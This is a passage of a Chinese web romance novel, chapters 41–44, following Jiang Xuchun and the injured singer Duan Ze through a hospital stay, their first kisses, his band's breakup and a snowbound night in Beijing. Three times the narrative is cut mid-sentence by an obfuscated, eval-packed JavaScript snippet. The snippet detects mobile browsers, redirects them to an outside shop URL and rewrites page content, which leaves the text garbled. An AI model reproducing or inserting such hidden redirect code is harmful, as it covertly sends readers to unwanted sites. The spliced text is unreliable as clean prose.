她收起傻笑,破罐子破摔地看向他:“那你昨晚为什么刚一抱我,就马上松开了?” 41. 第 41 章 段则显然怔愣了一下,抗拒地别开眼:“昨天太晚了,不想打扰你休息。” “是吗,你这么好心?” “我看起来心很坏?” 心坏不坏不好说,但确实很难让人读懂。 江绪春审视地看着他,看他不自然眨动的双眼,微微发颤的嘴角,和越来越重的呼吸。 到最后,段则实在受不住她的目光,重新打开iPad:“继续看电影吧。” “好啊。”江绪春站起身,不请自来地在床边落座。 段则喉结一滚,用余光飞快地瞥她一眼:“不怕近视了?” “没事,听说成年后,视力就基本定型了。” “这可不好说。” “不管,我就要近视,我觉得戴眼镜好看。” 说完,江绪春还特地往他那侧凑近了些。 段则长长地叹了口气,一脸生无可恋。 他抬手按下播放键,电影的声音终于冲散了室内弥散的尴尬。 只是在这之中,还若隐若现明显错频的呼吸声,以及过于蓬勃的心跳声。 他默默将电影声音调大了两格。 江绪春确实有在认真看电影。 这是部还挺经典的高分电影,前面一刻钟看得她云里雾里,她对剧情可是好奇得很。 人一投入嘛,有时候难免做出一些不受控的动作—— 比如在出现突脸镜头时,一声尖叫抱住身边人的胳膊。 段则下意识抽了下自己的手臂,没抽开。 他斜眼去看,身边的人仍目不转睛看着电影,但一双手也抱他抱得极紧。 “还要抱多久?”他出声问。 江绪春压根都不看他:“我害怕嘛。” “你胆子有这么小?” 这都不是什么恐怖片,只是基调有些黑暗。 像是为了回应他,电影里,登山的路人脚下一滑,摔落到小山沟里,身边赫然躺着一具已经腐化的尸体。 “啊!”江绪春一声惊叫,直接整个人扑进了他怀里。 “你叫迟了。”段则平静地提醒她。 怀里的人突然不动弹了。 几秒钟后,江绪春默默从他怀里退出来,起身下床,脸上别说害怕了,根本半点表情都没有。 “我不看了。”她说,“我出去一趟,你有事喊护工。” “喂。”段则讶异地看向她走得不带一丝留恋的背影,“小鸭?” 回应他的,是一声爽快的关门声。 电影里很热闹,主角团、救援队以及警察,乌泱泱地围在这小山沟里。 而病房内,仅余他孤零零一个。 段则合上屏幕,寂静重又开始弥散。 他深吸一口气,对着空气无声地骂了一句,攻击对象是他自己。 他不知道自己怎么了,行事作风完全变形。 他希望江绪春靠得近些,又不希望她太近,太近会让他无法好好地看清楚自己。 可她是一个人,一个鲜活自主的人,她有自己的想法。 妈妈,你谈过那么多段恋爱,能不能告诉我我是怎么了? 又或者,恋爱对你来说其实也是一件困难的事,以至于你一次次地搞砸了它。 遗传真是讨厌啊。 - 今年是个暖冬,年末的上海仍带着暖意,江绪春独一个漫步在街头,看着行道树上挂着的漂亮圣诞装饰。 天气很好,风景很好,但心头的憋闷怎么都难以驱散。 她知道自己或许该给段则一点时间,可是这时间到底是多久呢,为什么当她想远离的时候,他又会主动靠近,当她想靠近的时候,他又会远远躲开。 暧昧和拉扯真是这个世界上最烂的东西。 忽然起了一阵风,携来丝丝寒意,江绪春紧了紧身上的衣服,就近找了间咖啡店避寒。 她似乎误打误撞进了一家网红咖啡店,店内人很多,放眼望去找不见一张空桌。 她正准备离开时,店员忙叫住她,问她愿不愿意拼桌。 换作从前,江绪春大概不会同意,她十分在意自己的个人边界,也很尊重别人的。 但今天不知怎的,她犹豫了一下,还是点点头。 谁曾想这个拼桌对象,还是店员现找的。她哭笑不得地看着小姑娘一桌桌问过去,“不好意思打扰了”都快变成口头禅了,终于在第六桌停住脚步,回头一脸星星眼地看向她,激动地向她招招手。 她笑着走上前去,说了声“谢谢”。 “不用谢不用谢,有事随时找我哦。”小姑娘说着,小跑着又去服务下一桌。 可爱的店员让江绪春心情好了些许,她放好自己的包,这才抬头看去。 面前坐着一个年轻男生,碎发冲锋衣,一张偏白净的脸,看着格外清爽。 “你好,外地人吧?” 别致的开场白,让江绪春一愣,旋即又笑了:“是啊,你是本地人?” “当然不是,我听说这里只有外地人才会来,果然如此。” 话题由此展开,江绪春慢慢知道他居然和自己是一个省的,而且同在北京工作。 “怎么会跑那么远?”她问。 “我在北京上大学,毕业就留下来了。” “真巧,我是跑到泓州上大学,毕业就留在了北方。” 男生此行是来上海出差,后天就得回北京。 不知不觉间,他的咖啡已经喝完了,新点的甜品也吃光了。 起身前,他主动将手机屏推向前:“加个联系方式吗?回头在北京可以一起玩。” 江绪春犹豫了一下,还是扫了码。 “等会儿可能有人要和你拼桌了,你期待吗?”男生站起身来,笑着道。 “如果我拒绝了,她会不会很难做?”江绪春看了眼还在笑吟吟揽客的店员。 “不知道,但我应该会比较开心。” 江绪春讶异地抬眼看向他,没待她开口,男生已经摆摆手,大步离开了。 她收回目光,用小勺心不在焉地搅拌着杯中半冷的咖啡,手机提示音忽然响了一下。 【。:备注Henry。】 英文名。 刚刚漏跳了一拍的心,突然变得无比平静。 出于基本的礼貌,还是该回复的,只是江绪春从小到大,除了英语课情景演绎被老师赐名“Nancy”,还从没用过英文名。 她退出聊天框,开始搜索女生英文名。 两分钟后,江绪春重新点开聊天软件。 【江绪春:叫我Evelyn就好。】 【段则:Evelyn?】 看着这熟悉的头像,江绪春的脑袋嗡的一声炸开了。 她这才发现,段则一分钟前刚巧发了句“你在哪”,把自己的聊天框顶到了第一个。 对方都看见了,撤回也没有意义,她长叹一口气,果断将手机锁屏,连Henry也不想回复了。 店员恰在此时走来,笑得有些不好意思:“您好,请问您这边介意拼桌吗?” “不用了。”江绪春拿着包起身,“我已经喝完了。” 室外的冷风一吹,帮她燥热的头脑稍稍降了些温,但心脏仍胡乱跳个不停。 她一路走回酒店,坐下还没休息两分钟,电话响了。 看到来电是向镭,江绪春稍稍松了一口气。 “你那边怎么样?”向镭开门见山。 “挺、挺好的啊。” “是这样的,我这边有点急,改到今晚飞深圳,就不回医院了,你有事及时联系我。” “好,辛苦了。” 电话挂断,江绪春又在沙发上静坐良久。 段则到底是个伤者,虽然有护工,但把他孤零零地丢在那多少不太像话。 更何况,除非一辈子不见他了,这件事迟早要面对。 算了,怕什么。 江绪春拍拍脑袋,一鼓作气重又出门去。 只是这股气在走到病房门口时,俨然已经快消耗完了。 她在门口踌躇半晌,才抬手轻敲了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377173|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下门。 内里传来一声“请进”。 江绪春跟做贼似的,轻手轻脚地按下门把手,在迈步前,先将脑袋探进去一点。 结果下一秒,得到一句无比玩味的:“Evelyn,你来了。” 就知道有这一遭。 江绪春板着脸,语气硬邦邦的:“干嘛。” “怎么生气了,Evelyn。” “别这么叫我。” “不愧是时尚大都市,交朋友都得用英文名,是吧。” “关你什么事。” 段则闻言挑了下眉,哑巴了。 觉察到自己的语气有点凶,江绪春舔舔嘴唇:“你还好吗?” 段则看了她一眼:“还行。” “哦。” “没了?” “没了啊,镭姐改签今晚飞深圳,让我来看看你怎么样。” “她要是不和你说,你是不是就不回来了?”段则问。 答案自然是否定的。 可出口的话总是相反:“是啊。” 段则沉默少顷:“那你现在看到了,可以走了。” 江绪春眉一皱,讶异地看向他:“你赶我走?” “不想耽误你和别人交朋友。” 江绪春很讨厌和人吵架。 还是吵这种彼此心知肚明,但就是谁都不肯低头的架。 她一把坐到椅子上,拿出手机:“不耽误,我在这里也能和他聊。” 不远处,段则哼笑一声,很轻地自言自语了一句:“还真有。” 说做就做,江绪春重新点开和Henry的对话框。 她这辈子都不想叫Evelyn了,没辙,她只能老老实实将自己的中文名告诉了对方。 对方回得还挺快,说自己在去开会的路上,问她现在在干什么。 很奇怪,离开了咖啡店的环境,她对Henry居然一点聊天的欲望都没有。 但她能隐约感受到,有一束目光始终投向自己。 为此,江绪春头也不抬,逼迫自己专注屏幕,硬着头皮和Henry对话。 头一次,聊天也成了酷刑。 约莫过了一刻钟后,Henry说自己到现场了,下次再聊。 江绪春在心底松了一口气,佯装自然地放下手机,转了转酸痛的脖子。 段则还在看她。 视线已经从余光,转作直勾勾地盯着她。 江绪春咽了下口水,猛地抬头迎上他的目光。 段则的目光仍旧没有移开。 他斜靠在病床上,袒出的一片锁骨稍显嶙峋,几日没拉的头发已经有了些打卷的趋势,加上淡青一片的唇周,整个人憔悴得厉害。 “看我干嘛。”江绪春先憋不住开了口。 段则仍旧没说话,只是默默收回了目光。 “怎么不说话?”她追问道。 段则直视着白惨惨的墙面:“说什么?” “说你刚刚在看什么、想什么。” 依然是沉默。 就在江绪春以为这种沉默要持续到天长地久时,段则忽而翻身下了床。 她茫然地看向他,正想问他要去哪里,就见他离自己越来越近。 越来越近。 近到他的小腿毫不留情地抵上她的,将她困在了这张椅子上,让她想起了在泓州的那天。 “你们进展到什么地步了?”他居高临下地问她。 “谁?” “你自称Evelyn的那个。” “不要再提这个名字了!”江绪春绝望道,“刚认识,什么进不进展的。” “哦,那你还想往后发展吗?” 她不喜欢段则用这种角度看她,这让她有一种被审视的感觉,可她的腿被他抵着,站都站不起来。 江绪春只能徒劳地转过脑袋,像是能躲开他的目光似的:“不知道,得再沟通沟通。” “哦。”段则说着,伸手抬高了些她的下巴,低头凑上前去,“那你让他先等一等。” 42. 第 42 章 富国岛那个万恶之源的夜晚,以及无数次的晃神,和偶尔的梦中,江绪春都想象过这个场景。 有时候是浪漫的,有时候是罪恶的,可都不像现在这样—— 头脑一片空白,呼吸的每一口空气都填满了他的气息,他总是嘴硬的双唇比想象中意外柔软,但新冒的胡茬刺得她又痒又疼。 那是种何其陌生的触觉,像是一道定身符,将两人齐齐定在原地。 少顷,段则一点一点直起身。 江绪春的定身术尚未解除完毕,只有双眼笨拙地眨了两下。 段则退开两步,还了她双腿自由,垂着一双眼谨慎地打量着她。 半晌,他忍不住开口:“你怎么不说话。” 江绪春张了张嘴,像是才发现自己的嘴巴居然能动。 “我应该说什么吗?”她的困惑很真实。 “不想说也可以。” 137亿年前,宇宙发生了一场大爆炸,而此刻,这亿万颗新星就在她脑海里横冲乱撞。 江绪春胡乱抓了一颗,张开口:“你该刮胡子了。” “……不好意思。” 不对吧,这不对吧。 没有人被自己喜欢的人强吻后,开口会说出这样的话吧! 江绪春抬头看向他走进卫生间的背影,在心底无声尖叫。 卫生间里传来水声和瓶罐碰撞的声音,“哗啦啦”的,让她的头脑冷静了些许。 段则为什么突然亲她? 是喜欢上她了,还是出于朋友间的占有欲? 江绪春体会过这种占有欲,段则有个很好的朋友是他的初中同学,高中时,每次那个男生来学校找他玩,她都会莫名不高兴。 那时候的她,还默默暗恋着隔壁班的班长,因而这种感情,完全是对朋友的占有欲。 但那时候她也没有疯狂到去强吻他吧! 一顿头脑风暴没有得出任何结果,江绪春忽然意识到,卫生间此刻变得好安静。 他没有关门,从她的角度能勉强看到他站在水池前的侧影。 “你好了吗?”江绪春抬高声音问他。 段则没应声,但开始转身往外走,只是微微低着头,似乎在有意躲避她的目光。 越是躲,江绪春越是要看个清楚,她三两步上前,一把拽着他的手臂截停了他。 打眼一看,唇边的青色已经没有了,取而代之的是星星点点的红色伤口。 ……她怎么可以对一个右手受伤的右撇子,做出如此无理的要求。 “你干嘛呀。”江绪春戳戳他,“我没意识到嘛,你直接说你受伤了不方便刮不就好了吗,给自己弄得伤痕累累的。” 段则一脸平静地看着她:“现在应该不扎了。” 他嘴巴一动,有几处伤口还在隐隐渗血。 江绪春又好笑,又无奈,她觉得这个人真是莫名其妙,但她也不遑多让—— 她抬手按下段则的脑袋,踮脚用力亲了他一口。 “嗯,不扎了。”她满意地点点头。 段则先是一愣,末了很轻地笑了一声,一点点直起身,默不作声地去床头抽了一张纸,擦了擦她脸上沾到的血。 “喂,你为什么亲我啊。”她追着他扔纸团的背影道。 段则没回头:“不是你亲的我吗?” “我说第一次!” “哦。” “哦?!”江绪春难以置信地重复了一遍,“哦是什么意思?” 然后这个人又哑巴了,还悠哉游哉地走到窗边,佯装岁月静好开始看风景。 就算他是伤者,江绪春也不可能轻易放过他了。 她三两步上前,强行塞进他和窗台之间:“不许装傻。” “没装。” “那你说,你刚刚亲我是什么意思?” 沉默,漫长的沉默,长到江绪春都想给他提溜起来扔下去,开始思考自己的臂力是不是欠佳时,这个王八蛋终于开口了。 “因为……我好像喜欢上你了。” 本应该是句让人高兴的话。 但作为文科生,她忍不住开始咬文嚼字:“‘好像’是什么意思?” “maybe,seemlike,probably.” ……Evelyn真的很想揍他一顿。 Evelyn很暴躁,但江绪春不是。 她一点点捺下心底涌动的情绪,看着他有些躲避的眉眼,轻轻点了点头:“那等它变成certainly的时候,你再和我说。” 如果她想和段则在一起很久很久的话,她愿意再等一等。 毕竟,她也花了很多年才看清自己的心。 漫长的冬日午后,两个人又看了一部电影。 这次江绪春没有坐在床上,而是将椅子搬到了床边。 看完电影,两人又开始用iPad下象棋。江绪春总是横冲乱撞,屡次掉进他设的陷阱都不知悔改,最后只剩一个光杆司令在营房里打转,还死不认输。 恍惚间,好像回到了学生时期的寒暑假。 漫长的炎夏和寒冬,两个人聚在一起肆无忌惮地消磨时间。江绪春运动天赋更好,每次跳绳和踢毽子都压他一头,段则脑力更好,甭管象棋围棋军棋,就连飞行棋都总比她赢得多。 两人都不是爱耍赖的小孩,输了会不开心,但很快又会开开心心再来一局。 成年后能有这么一段可以随意挥霍的时间,真好。 只是它的代价未免太过昂贵。 段则的恢复情况还算不赖,综合评估后,医生的建议是保守治疗。 出院那天,江绪春陪他在上海街头逛了逛。其实陆鲨来上海演出过很多次,但多是在酒店附近徘徊,很少深入地领略这座城市。 两人走过纸醉金迷的黄埔江边,走过梧桐树下的民国旧梦,尽管他用帽子和口罩将脸遮得严严实实,但仍间或有歌迷认出他。 他们有的关心地问他还好吗,有的开心地诉说自己有多喜欢他,还有的已经激动到语无伦次。 每次遇到歌迷,段则都会慷慨地答应他们一切合理请求。 而这次,除了合影签名这些常规流程外,他难得多说了几句。 他会问他们是不是来旅游的,玩得开心吗,有没有吃到什么好吃的。 两人相谈甚欢,比起歌手和歌迷这种带着距离的关系,更像两个真正的朋友。 而江绪春站在一旁,看着他温柔关切的眼神,忽然意识到,他似乎是在告别。 如果再也不能见到你,那就祝你一切都好。 两人在机场相别,北京的事总归还是要处理。 段则回泓州的航班要早些,江绪春看着他的背影,孤零零的,却又很是坚定。他好像总是这样,确定一件事后就会义无反顾地做下去,无论成功和失败,后果他都甘愿承担。 在南方待了不过几日,回到北京恍如隔世,一出机场,逼人的寒意给人迎头来了一掌。 北京不知下了今冬的第几场雪,白茫茫一片,衬得这座快节奏的城市少有的安宁。 但江绪春没法静下来。 实习的钱并不多,可她就是想要一个说法。她拿着材料奔波在北京的街头,上午仲裁,下午面试,在上海的那段悠闲日子仿佛在做梦。 段则给她发的消息并不多,只是间或问一问她的情况。江绪春一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382056|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一回答了,但并没有反问他的,她大概能猜出来答案,也知道应该不太愉快。 不管是仲裁还是面试结果,都需要等待,而等待期间,她先在热搜上看到了他的近况。 先是某个营销号爆料陆鲨内部不和,舆论甚嚣尘上的第二天,陆鲨官方便发了一条公告,否认了不和传闻,但旋即又表示,因为理念不同,陆鲨乐队自即日起解散。 不用点开,江绪春也能猜到评论会是什么。 这条解散消息紧随在传言后,令否认显得如此苍白。再加上段则是陆鲨的核心人物,人气也远超其他成员,谣言和猜想像旋风一样将他席卷。 某种意义上,他们没猜错,陆鲨解散的主因确实在段则身上。 只是大厦将倾,怎么也不单单是其中一砖一瓦的错。 江绪春没敢看完热搜,便匆匆熄灭了手机。 总有人开玩笑说她是陆鲨的编外成员,倒也没错,她陪伴陆鲨的时间,比某个后进成员还要久。 她看过他们熬夜训练,为音乐吵过闹过哭过笑过,从小小的livehouse一路走到体育馆,从籍籍无名到光芒万丈。 但她也看过他们从亲密无间到日渐疏远,从无话不谈到只有音乐,到最后,似乎连音乐都懒得与对方交流,只剩一纸合约将他们捆绑在一起。 有时候,江绪春会不明白事情怎么变成了这样。 但有时候,她又觉得这似乎就是必经的过程。 直到那纸白底黑字的公告发出,恍惚间,她仿佛看到青春随之落幕。 作为旁观者尚且如此,江绪春不太敢想他此刻的心情。 夜已深,最终,她只是发了一条消息。 【江绪春:你还好吗?】 那头过了许久才回复。 【段则:还好。】 隔着屏幕,江绪春看不到他的表情,也不知道这两个字里有几分强颜欢笑。 【江绪春:明天刚好我没事,我去泓州找你吧。】 【段则:几点?】 虽然江绪春这句并不是个客套话,但段则的回复还是让她一愣。 她忙点开购票软件,去泓州的最早一班高铁是五点半,抵达时间快七点,再加上打车去他家的时间—— 【江绪春:差不多七点半。】 【段则:好。】 江绪春赶忙买好票,简单收拾了一下行李,明天睡懒觉的计划显然是泡汤了。 许是心里有事,她睡得不太安稳,乱七八糟的梦做了一堆,上一秒还在被怪物追杀,下一秒又梦见被锁在一间屋子里,座机电话响个不停,她却怎么也摸不到它。 一番挣扎后,江绪春从梦中惊醒,铃声依然没停。 她迷迷糊糊地摸到手机,备注都没看清便接通放到耳边:“喂,谁啊。” “我想你了。” 万籁寂静的夜半,段则的声音透过电波,沙沙地搔着她耳膜。 江绪春浑然惊醒,以为自己睡过头了,可一看时间,不过凌晨三点。 “我不是说了明天七点半到吗。”起床气还没散尽,她忍不住嘟囔道,“我好困哦,明天还要早起。” 那头沉默少顷:“那你先睡吧。” 江绪春重新躺回床上,轻轻叹了口气:“你睡不着吗?” “嗯。” “快睡吧,明天我就去找你。” “睡不了。” “为什么?” “我在开车。” 好不容易酝酿回来的一点睡意,又被冲散了。 江绪春一脸疑惑:“开车?你要去哪。” “我已经到北京了。”段则说,“我可以现在去见你吗?” 43. 第 43 章 凌晨四点,江绪春裹着及踝的羽绒服,站在北京飘雪的寒夜里。 半晌,一束车灯刺破雾蒙蒙的夜色。 江绪春闷头往小区里走,SUV亦步亦趋地跟着她,直到终于在犄角旮旯寻了个停车位。 车缓缓停好,段则刚一下车,便被冻得低头打了个喷嚏。 脑袋还没抬,江绪春的声音先劈头盖脸砸了过来:“这么大的雪,你手臂又受伤了,怎么敢大半夜开这么远的,你是不是疯了?!” “有辅助驾驶。”段则说。 “这是辅助驾驶的事吗!” “我想你了。”段则沉默几秒,“我等不到七点半。” 段则没戴帽子,眼睫上霎时结了一层白霜,惹得他不自在地一直眨眼,莫名看着有那么一点……可怜。 反正江绪春很没骨气地心软了。 “快进来吧。”她放平了声音,抓着他的手往楼道走,虽然刚碰上,就凉得一个激灵。 段则全程乖乖跟在她身后,微微低着头,说不出是愧疚还是疲惫。 狭小的玄关仅能容纳一人,他站在门口,默默等江绪春换好鞋才进屋。 这是间逼仄的一居室,一眼能望到头的格局。没有客厅,江绪春径自坐到床上,段则扫视一周,拣了唯一一把椅子落座。 “你住在这里啊。”他说。 “嗯。” “是不是我给的钱不太够,怎么不租间大点的。” “你没在北京租过房,不知道这里的房租有多夸张,尤其我又不喜欢和人合租,如果租我之前那样的,抵得上我两个月工资了。”说到最后,江绪春又想起什么,愤愤道,“我工资还没结给我呢。” 段则认真地看着她碎碎念抱怨,听到最后,居然轻声笑了。 “笑什么。”江绪春怼他,末了叹了口气,“北京好难混啊。” “你喜欢北京吗?”他问。 “不好说……我对这里的感情很复杂。” “不管你是想走还是想留,我都支持你。” 他平和但认真的语气,让江绪春的心渐渐静了下来。 她点点头:“怎么一直在聊我,你呢,有什么想和我说的。” “没什么好说的,我就是想见见你。” “几个小时都等不了?” “等不了。”段则沉默少顷,“我在家里坐立难安,不知道为什么就是想马上见到你,我本来一直在看钟,看到最后,有种冲动在逼我往外走。” “你这是喜欢上我了。”江绪春说。 段则抬眼盯着她看了几秒:“嗯,应该吧。” “没有‘好像’了?” “没有了。” 很奇怪,一瞬间,江绪春的心突然变得好平静。 就像是微风抚过旷野,绿油油的草叶微微摇晃,那种辽阔的、治愈的平静。 “好啦,那你现在见到我了。”江绪春跳下床,上前抱了他一下,“如果还有什么别的想说的,也要告诉我。” 她刚准备起身,却被段则一把扣住背脊。 这算不上一个舒服的姿势,但她没挣脱。段则身上的药味终于一点点散去了,绒绒的卷发蹭得她脸侧脖颈有些发痒,她能听见他的呼吸稍重,好像每一口都是叹息。 两个失业的倒霉蛋,就这样在狭小的出租屋内抱团取暖。 良久,江绪春的腰实在酸痛到不行,终于不得不推开他。 刚刚站直身子,她忽然发现段则的眼睛红红的,她忍不住伸手,轻轻摸了摸他的脸:“想哭就哭咯。” “不想哭。” “那你眼红什么。” “熬夜熬太久了。” 这个人永远有无数个理由,眼红有理由,自认为不喜欢她也有理由。 有些她必须让人说清楚,有些倒是可以睁一只眼闭一只眼。 “那快睡吧,我也好困。”她说。 “好,晚安。”段则站起身来,说着就往外走。 “你要去哪?”江绪春莫名其妙地看着他的背影。 “去找间酒店。” 虽然两人就算住一间房,也一定会开双床,但平时在后台,他也没少把她的身体当枕头,睡得那叫一个昏天暗地。 江绪春本能地想挽留他,可隐约的,自己觉得好像也不太好。 “我开车送你吧,你这个情况,我不放心你开车。”江绪春说。 段则欲言又止:“我也不太放心你开车。” “闭嘴。”江绪春飞去一道眼刀。 虽然她确实好久不碰车了,但当初好歹也是四科一次性满分通过,再加上夜半无人,多少比他这个伤员好。 段则没和她争,拿着车钥匙和她一道下楼,还没出楼道,隔着玻璃门,两人齐齐陷入了沉默。 才过去不到一个小时,雪已经积了得有小半个轮胎深。 这下江绪春不敢开了,更不敢让段则开了。 “回去。”她拽着他往回走,在安危面前,其他东西都可以放一放。 段则踉跄地跟了几步,忍不住又回头看,只是这狂风暴雪,显然一点停下来的趋势都没有。 一番折腾,两人又回到了这间小出租屋。 “我坐会儿吧。”段则又霸占了那张椅子,“反正不太困。” 这个人每次讲些自相矛盾的话,脸都不带红一下的。 不管他什么情况,江绪春反正是困了,她懒得和他掰扯:“你怕什么,我又不会睡了你。” 一阵诡异的沉默,在尾音落下的霎那开始弥散。 一瞬间,江绪春脑袋发涨,她非常需要段则说些什么,但又怕他会说些什么。 她赶忙又道:“你要是想睡我,我现在应该也不会同意。” 这人终于说话了,但只有一个“嗯”字。 话都说到这份上了,这下应该安全了。 两个人都安全了。 段则没再做无谓的抗拒,起身走向那张狭小的单人床。 江绪春从租下这间房子的第一秒,就没想过这张床上还会躺第二个人。 一个人时,这是个非常方便的尺寸,一个翻身,不管是左边床头柜上的充电线,还是右边床头柜上的奶茶,都可以轻易拿到。 但当她旁边多了一个一米八多的成年男性,一切都显得是那么的不协调。 首先便是那同为一人尺寸的被子。 江绪春慷慨地分出一半,虽然没过一分钟,就忍不住悄咪咪地抽回了一厘米。 以及一厘米。 又是一厘米。 她自认为自己的行为做得天衣无缝时,身边的人忽而开口:“我……有一点冷。” 屋内尽管有暖气,但似乎是楼栋入住率不够高,温度怎么都上不来。 江绪春扭头,透过稀薄的月光,这才发现身边的人有大半身子都在被子外。 “哦。”她赶忙归还了十几厘米。 只是这个距离,显然还不太够。 江绪春一面自己不想自己受冻,一面又舍不得他受冻,黑夜里眼珠子咕噜噜转。 就这么辗转反侧半天,她忍不住道:“你不会离我近一点吗。” 中间的几厘米完全被浪费了喂。 “哦。”身旁的人听话地朝她挪近了些。 肩膀相碰的刹那,江绪春没忍住缩了下身子。 动作虽然微小,段则显然察觉到了,默默往旁边让开些许。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386357|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不要跑啦。”现在的每一厘米都至关重要,江绪春说着,主动朝他贴过去。 肩膀重新相碰,彼此都僵了一下,但谁都没让开。 被子的事解决了,江绪春安然闭上眼。 视觉被剥夺,其余感官忽而变得成倍敏感。 原本熟悉的被褥香气,忽而夹杂了他的气息,耳畔能听见那一起一伏的呼吸声,轻微却难以忽视,过度专注于他的频率,反而让她忘了自己该怎么呼吸。 几度快被自己弄到窒息后,江绪春忍不住开口,用气声对着空气道:“你睡了吗?” “没有。” “你不困吗?” “困。” “那怎么不睡。” “有点……睡不着。” “我也是。” 又一阵沉默,江绪春盯着天花板发呆,试图放空自己过度活跃的头脑。 耳边忽然传来一句:“要不我去车上睡吧。” “不要发神经啦。”江绪春一把按住他准备坐起的身子。 隔着薄薄一层衣料,她能清晰感知到他身体的温度,比她天然高上一截。 她忙缩回手,开始嘀嘀咕咕:“我们以后肯定还是要一起睡觉的,我是说真的睡觉,所以你不要跑,我们得努力习惯。” “你的床有点小。” 江绪春用力拍了他一掌:“不许嫌弃。” “好吧。” 江绪春以为自己接下来就能安稳入睡,谁料是她盯着天花板盯到快要灵魂出窍。 眼前的景象在一点一点变得清晰,是屋外的天渐渐亮起,她甚至隐约听到了几声鸟叫,在这么寒冷的天气,真是顽强的生物。 “你睡了吗?”她再次用气声说。 “没有。” 一瞬间,她无奈又释然地笑出了声。 “怎么办,真的睡不了了。”她说。 “等会儿看看雪停了没有,我出去找家酒店吧。” “你嫌我的床小是不是。” “……给你也开一间。” 反正今天和睡眠无缘了,江绪春果断跳下床,一路走到阳台边,“哗”地拉开窗帘。 一片白光刺得她险些雪盲,她抬手半掩着光,隐约看见在一片片白茫茫的尽头,是连绵的金光。 “快要日出了欸。”她说。 段则不知什么时候也下了床,走到她身边同她并肩:“是啊。” 两人好像两尊木偶,就这样呆呆立在阳台边,一眨不眨地看着外面。 看夜色一点点被驱散,看霞光洒满大地,不知是不是下过雪的关系,今晨的朝阳看起来分外灿然。 这是她来北京这么久以来,见过最美的瞬间。 人在看到美景的时候,很难不动容。 江绪春的鼻腔忽而有点发酸,似乎有太多值得她哭的事,又似乎一切都不值一提。 她能觉察到一束目光,不知不觉悄然汇聚在她面上。 她忍不住学着从前的段则,玩起掩耳盗铃的把戏,一把捂住他的眼睛。 段则没有躲,只是很轻地笑了。 江绪春盯着他弯弯的嘴角,有些出神。 那个富国岛的夜晚,她也是这样恍了神,那时候,她的第一反应是躲进被子里。 但是现在好像不用躲了。 她分出另一只手,扣上他的脖颈。 没等她用力,段则已经乖乖低下头来。 面颊一阵温热,唇间弥散开淡淡的咸味,她踮起脚,邀他共同品尝。 窗外,太阳仍在上升。 厚厚的积雪,也终有一日会消融。 这是个过于漫长的冬天,但还好,春天取代末日,先一步降临了。 44. 第 44 章 Chapter44 看完日出后,两人好像突然泄了劲,在小床上倒头就睡。 极度困倦下,就算身边躺的是一头巨龙,也挡不住汹涌而来的睡意。 这一觉睡到了下午,江绪春迷迷糊糊苏醒,动了动蜷缩的手脚。 她一脚踢上了什么热乎乎的东西,扭头一看,段则的脸近在眼前。 彼此好像都不太习惯眼前的场景,目光呆滞地你盯着我,我盯着你。 直到某一刻,江绪春没忍住笑出了声。 下一秒,她看见段则也笑了。 “你笑什么。”她一边笑一边问,声音都随之发颤。 “你笑什么。” “不许笑。”她无理取闹地开始推他。 段则一边笑,一边顺势没收了她的手,拽着它环上自己的腰。 埋在段则怀里,江绪春还是想笑。 也不知谁点中了她的笑穴,明明没什么可乐的,但她就是觉得这个场景好奇妙。 如果以后每天早上睁眼都能看到他的脸,好像……还不赖。 屋外的雪虽然停了,但积雪仍是厚厚一层,两个闲人也没什么要紧事,先下了锅饺子填饱肚子。 屋内只有一把椅子,此刻它归属于江绪春,段则只好端着碗坐在床边吃,望着他稍显窘迫的模样,她没忍住又乐了。 “你脑子坏掉啦?” 刚起床乐,把饺子煮破了乐,现在看他吃个饺子还乐,起床一小时,她有半小时都在傻笑。 江绪春踹他一脚:“你才坏掉了。” 段则不客气地轻轻回了她一脚。 这一下好像打开了什么开关,两人饺子也不吃了,端着碗严阵以待,时刻观察对方动向,一边扭着身子躲来躲去,一边在夹缝中攻击对方。 哪有奔三的人还这么幼稚,江绪春很是无语—— 然后一边无语,一边因为自己多踢了段则一脚,笑得碗里的醋都差点洒出来。 “别的男生都可宠自己的女朋友了,你怎么这样?” 最后一脚,江绪春死死踩住他,怎么都不许他抬脚。 “你是我女朋友?”他问。 江绪春一愣,然后一脸严肃地摇摇头:“不是,我不要你这样的男朋友。” “那你要什么样的?” “不会嫌弃我的床小的,不会踢我的。” “可是你的床真的很小。” “那你下来。”江绪春指着他,“不许坐了。” “不。” “为什么?!” “我只听我女朋友的,你是谁?” “王八蛋!”江绪春气呼呼地起身就要揍他。 段则笑着一边躲,一边努力伸长胳膊,将饺子碗在桌上放稳后,才顺势被她推着向后,躺倒在床上。 